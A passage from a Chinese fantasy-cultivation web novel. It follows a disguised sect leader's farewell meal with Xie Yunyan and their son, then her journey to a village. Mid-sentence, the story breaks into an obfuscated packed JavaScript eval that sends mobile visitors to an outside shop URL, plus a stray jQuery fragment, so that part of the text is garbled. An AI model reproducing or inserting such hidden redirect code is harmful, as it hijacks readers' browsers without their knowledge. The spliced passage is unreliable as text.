元鹤头也没抬,只是继续手上的动作。
“我知道,”他努力压制住自己语气中的无奈,显得很是随意,“但谢府已经做好了,不吃也是浪费。”
这些东西都是他吩咐谢家做的,全是谢蕴颜喜欢吃的,除此之外,他还往里面加了一些灵草灵丹,省得到时谢蕴颜又仗着自己能耐不肯服用他给的丹药,他又要绞尽脑汁去劝。
元鹤做得很仔细,尽力把这些丹药融于菜色之中,无色无味。
谢蕴颜尝了一口鸡汤,鸡汤没有浮油,味道也鲜美,但后味略有发苦。
她砸吧了一下,又重新品了品,忽然看到鸡汤里加了药材,知道这是药膳,也就没疑惑了。
其他的菜里似乎也有一点苦味,大概也是加了药材,或是她喝了鸡汤之后,嘴里染了味道。
谢蕴颜一边吃,一边随口问元鹤:“你怎么把卷卷放出来了。”
元鹤看了一眼正在啃大鸡腿的卷卷,漫不经心道:“他昨晚关了一宿,把他放出来透透气,你放心,我一直在外间守着,后来出去拿饭菜,也布了结界下来。”
“我自然信得过你,”谢蕴颜呵呵笑着,往他碗里也夹了一只鸡腿,“补一补。”
元鹤的魂魄灼伤还在持续疼痛,也损耗了些许修为,他心里冷冷道,确实应该补补。
好在这是分身,只要本体无伤,睡一晚上也就无碍了。
他啃了一口鸡腿,看着卷卷啃鸡腿的模样,又觉得啃鸡腿太狼狈,会让自己显得不雅观。
可这又是谢蕴颜给他夹的。
正纠结要不要继续吃的时候,便听见谢蕴颜又说道:“元鹤,我还是得谢谢你,教了我渡生心诀,我的修为已经恢复了。”
“渡生心诀本就是蕴养灵力的不二密法,日积月累也能精进修为,坚实基础,你会了之后自然大有进益。”元鹤假装自己不知道谢蕴颜失去道心一事,同时又不忘添上一句,“代掌门若是知晓你因天霄宫的渡生心诀而恢复了修为,也会高兴的。”
谢蕴颜听在耳中有些奇怪,她又没问裴愔,元鹤提他干什么,难道还要她夸裴愔大度吗?
那想必就是这样!
谢蕴颜暂时摒弃对裴愔的深度偏见,忙夸赞道:“裴掌门真是心系天下,大公无私,未来定是不世英才!”
元鹤小咳一声:“已经是了。”
一旁的卷卷听到他们夸裴愔,小脑袋从啃了大半的大鸡腿上抬起来,问:“什么是赔掌门?”
元鹤心道,是我,你爹。
自然,他还是耐心与卷卷解释道:“就是如今暂时执掌天霄宫的人,他姓裴,所以叫他裴掌门。”
卷卷点了点头:“执掌天霄宫就要把掌门赔给天下吗?”
元鹤:“……”
完了,儿子是傻的。
倒是谢蕴颜听后反而笑起来,她饶有兴致地问卷卷:“为什么是赔给天下呢?”
卷卷道:“因为娘说了裴掌门心系天下呀!”
谢蕴颜摸摸儿子的脑袋:“真聪明!”
元鹤在一旁听得摇了摇头,但也到底没说什么。
他们想怎么说,就怎么说罢。
只要像眼下这般一家三口能在一起,就已经是他曾经求不来的了。
***
谢蕴颜又在谢家停留了大约七日,期间不过就是帮助谢家处理一些事务,特别是霖川甚至南洲一些修仙门派得知了谢家发生的事,自然要派人前来询问,都由谢蕴颜出面应对解释。
元鹤则向天霄宫禀报了此事,因是祗玉作乱,最多加上一个谢眉,谢眉又已自尽身亡,且谢家是凡世人家,天霄宫并没有追究谢家的责任。
除此之外,谢蕴颜每日都会在元鹤的引导之下修习渡生心诀。
虽然她的修为因道心已失的原因无法再增长,可这几日她明显能感觉到自己灵力充沛,身上各处灵窍灵脉也异常舒畅。
她一开始倒是有些担心元鹤会发现自己道心崩碎一事,不过再想想玉流宗上下都知道她的事,本就不是秘密了,元鹤或许早已经听说了,她倒是庸人自扰了。
她丢开不想这事,元鹤也没有说起。
七日之后,谢老爷继任家主之位,谢蕴颜告辞。
她与元鹤自然也到了离别的时候。
两人从谢府离开,在大门口停下脚步。
元鹤先开口问道:“你接下来去哪儿?”
谢蕴颜忽然哑然失笑,从前她也有过和路人修士合作的情况,但结束之后,也就是互相道别一声,便各走各的了。
反正九洲那么大,很难再遇见。
只是这次不知为何,从辑妖榜下相遇,一直到离开谢家,这中间她与元鹤的交集特别深,或许是因为两人脾性相投,她能感受得出来,与以往都不同。
似乎不是一声告辞就能结束的。
她想了一下,还是对元鹤认真说道:“我要去东洲一趟。”
至于去东洲哪里,要做什么,她没有说。
对于修士来说,或者说对于谢蕴颜此人来说,说到这个地步就已经很详细了。
元鹤也没有追问,他点了点头:“那我回天霄宫了。”
“一路顺风。”谢蕴颜想了想又道,“别与你们裴掌门说你遇到了我。”
元鹤:“……”
不过他还是故意问她:“为何?”
“没什么,其实是我和他不对付罢了。”谢蕴颜尴尬地笑了笑。
裴愔估计已经听说她的事了,保不齐会笑话她,少让他听说自己,少让他记起来笑话她。
元鹤又开始咬牙切齿。
都失忆了,怎么还记着不能让他知道她的行踪?
面具下那双眸子终于闪过一丝阴鸷,谢蕴颜看见后愣了一下。
难道她说了她和裴愔关系不佳,元鹤为了裴愔就不高兴了?毕竟裴愔在他嘴里哪哪都好。
但元鹤看起来又不是这种人。
好在元鹤马上收敛神色,对她笑道:“好,我记着了。”
“那我们就此分别吧,”谢蕴颜朝他双手抱拳,“告辞。”
元鹤也同样回了一礼。
谢蕴颜又对身边的卷卷道:“卷卷,快和元叔叔说再见。”
卷卷朝元鹤挥挥手:“元叔叔再见!”
元鹤蹲下/身子,平视着卷卷。
虽然有时候傻乎乎的,但孩子还小,而且自己
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17769469|209197||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的孩子,自然怎么看怎么得意。
“乖,平日里要听你娘的话,”元鹤摸着他的头,“你娘一个人带着你不容易。”
卷卷点点头,又问他:“元叔叔什么时候会再和我们见面呢?”
元鹤心下自然说,就根本不会离开。
“等到应该重逢那一日,我们自会相见。”元鹤最终这样与卷卷说道。
他一面说着,一面仰头将目光移到谢蕴颜脸上。
一半对卷卷说,一半对她说。
谢蕴颜感觉到浑身刺挠一样不自在,她又搞不懂怎么回事,只能笑了一下。
元鹤站起身,对谢蕴颜轻轻颔首,便转身走入了人群之中,很快便看不见他的身影了。
谢蕴颜同样转身离去。
而元鹤在走过一个无人的转角之后,身躯霎时化为齑粉湮灭。
***
东洲,青霭村郊外。
一个身着烟紫色衣衫的女子正沿着村道走着。
就在她身后一不远处,还有一个胖嘟嘟的孩子在跑来跑去,有时跑到她前面,有时又落在了她后面,要她时不时停下来等一等。
她身材高挑,虽显得有些清瘦,但脚步却强劲有力,一双杏仁眼眼尾微有上挑,眼神机敏中带着不近人情的冷淡,樱桃般红艳小巧的嘴却时时抿着,使人望之生畏,幸而又有一张鹅蛋脸,使她看起来不至于太凌厉。
谢蕴颜其实是有些无奈的,这村道上来往的人不算少,但只要一看见她,就避得远远的,好像她会生吃了他们似的。
她明明是正儿八经修士来的,怎么搞的像是邪魔。
不过再回头想想,这也不是今天才有的事,就连慕夷吾曾经都说过她太过冰冷孤傲,不敢让人接近,今日这村道上的又都是普通村民,便更是看见她心里发怵了。
“过来,小心掉河里去。”谢蕴颜稍稍侧过身子,对着卷卷招了招手。
卷卷迈着小短腿跑上来。
面前是一条小河,说是河稍微浅了一点,说是溪又宽了一些,因这会儿日头正好,阳光铺洒到水面上,照得河水更加澄澈,可以看见河底的石头和水草,以及游来游去的小鱼。
河中只用长条青石板搭成了非常简易的桥面,也没有护栏,水流哗哗地在青石板下流淌着。
谢蕴颜牵着卷卷走在上面,走到一半,卷卷又停下了脚步,蹲下来撅着屁股开始看河里的小鱼。
见状,谢蕴颜倒也不约束他,只是站在一旁看着,不让他掉到河里去就行了。
从谢家出来之后,她带着卷卷并没有很急着赶路,一路过来走走看看,足用了有小半个月的时间,前日才刚到青霭村附近。
她前几日还特意留意了一下舆图上的元鹤小人,发现不知什么时候,他早就已经回到天霄宫了。
卷卷玩了一会儿,这时从石板桥的另一端走过来一个提着篮子的村妇,她若是走到中间,便要与谢蕴颜母子俩堵上了。
为了不给别人添麻烦,谢蕴颜连忙提起卷卷后颈,一个闪身便飞到了岸边。
那村妇自然是看见了,正要道谢,忽然她像是看见了什么似的,伸出手指指着谢蕴颜,张着嘴哆嗦了半晌说不出话。